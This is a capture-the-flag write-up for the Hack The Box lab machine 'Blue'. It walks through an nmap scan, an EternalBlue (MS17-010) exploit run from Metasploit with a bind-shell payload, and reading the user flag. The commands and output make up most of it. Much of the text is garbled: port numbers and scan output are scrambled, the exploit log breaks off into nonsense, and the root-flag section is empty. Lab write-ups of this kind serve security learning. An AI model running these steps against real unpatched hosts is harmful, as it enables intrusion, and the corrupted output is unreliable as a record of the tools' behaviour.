MACHINE: "BLUE" – HTB

First of all, I made an OS scan with nmap -> nmap -A 10.10.10.40

```
kali:~# nmap -A 10.10.10.40
Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-11 00:23 CET
Nmap 7.00 ( https://nmaj
Nmap scan report for 10.10.10.40
Host is up (0.064s latency).
Not shown: 991 closed ports
PORT STATE SERVICE VER:
                                     VERSION
                                    Microsoft Windows RPC
135/tcp
            open msrpc
                   metbios-ssn Microsoft Windows netbios-ssn
microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
139/tcp
            open
 45/tcp
            open
49152/tcp open
                                     Microsoft Windows RPC
49153/tcp open
                   msrpc
                                     Microsoft Windows RPC
49154/tcp open
                                     Microsoft Windows RPC
                   msrpc
19155/tcp open
                                     Microsoft Windows
                   msrpc
                                                           RPC
                                     Microsoft Windows RPC
49156/tcp open
                   msrpc
49157/tcp open
                    msrpc
                                     Microsoft Windows
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/).
TCP/IP fingerprint:
OS:SCAN(V=7.60%E=4%D=11/11%OT=135%CT=1%CU=32828%PV=Y%DS=2%DC=T%G=Y%TM=5A063
DS:592%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=109%TI=I%CI=I%TS=7)SEQ(SP
0S:=100%GCD=1%ISR=109%TI=1%TS=7)0PS(01=M54DNW8ST11%02=M54DNW8ST11%03=M54DNW
0S:8NNT11%04=M54DNW8ST11%05=M54DNW8ST11%06=M54DST11)WIN(W1=2000%W2=2000%W3=
OS:2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%0=M54DNW8NNS%CC=N%
)S:Q=)T1(R=Y%DF=Y%T=80%S=0%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F
 S:=AR%0=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=0%F=AR%0=%RD=0%Q=)T4(R=Y%DF=Y%
DS:T=80%W=0%S=A%A=0%F=R%0=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%0=%RD
0S:=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=0%F=R%0=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S
OS:=Z%A=S+%F=AR%0=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK
 S:=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)
Network Distance: 2 hops
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
 lost script results:
  smb-os-discovery
    OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
    OS CPE: cpe:/o:microsoft:windows_7::spl:professional
    Computer name: haris-PC
    NetBIOS computer name: HARIS-PC\x00
     Workgroup: WORKGROUP\x00
    System time: 2017-11-10T23:26:06+00:00
```

Here, I realized that I was working with a Windows 7 machine and which ports (with which service and version) were open, with special attention to the 135,139 and 445, because all of them are related to SMB protocol (and well known as 'easily' vulnerable ports).

Then, I opened Metasploit in order to find a SMB exploit by using -> search smb port:445 os:Windows, and, reached this point, I selected this exploit based on the name of the machine (I wanted to think it was a hint):

```
exploit/windows/smb/ms17 010 eternalblue 2017-03-14 average MS17-010 Eternalblue SMB Remote Windows Kernel Pool Corruption
```

Now, I had to use a suitable payload: my goal was to gain a Shell of the system, so that I used following payload:

```
msf exploit(ms17_010_eternalblue) > set payload generic/shell_bind_tcp
payload => generic/shell_bind_tcp
```

I configured the exploit by setting de IP of my target in RHOST and finally, I run the exploit successfully:

```
msf exploit(ms17_010_eternalblue) > exploit

[*] Started bind handler
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[*] 10.10.10.40:445 - Connection established for exploitation.
[*] 10.10.10.40:445 - Consection for exploit goals for exploi
```

In order to find the user and root flags, I only had to surf the 'Users' directories:

```
C:\Users>dir
dir
Volume in drive C has no label.
 Volume Serial Number is A0EF-1911
Directory of C:\Users
21/07/2017
           06:56
                    <DIR>
           06:56
21/07/2017
                    <DIR>
21/07/2017
           06:56
                    <DIR>
                                   Administrator
14/07/2017 13:45
                    <DIR>
                                   haris
12/04/2011 07:51
                    <DIR>
                                   Public
              0 File(s)
                                     0 bytes
               5 Dir(s) 13,429,993,472 bytes free
```

Haris' flag:

```
C:\Users\haris\Desktop>TYPE user.txt.txt
TYPE user.txt.txt
4c546aea7dbee75cbd71de245c8deea9
```

Root's flag:

That's it!

Pitenager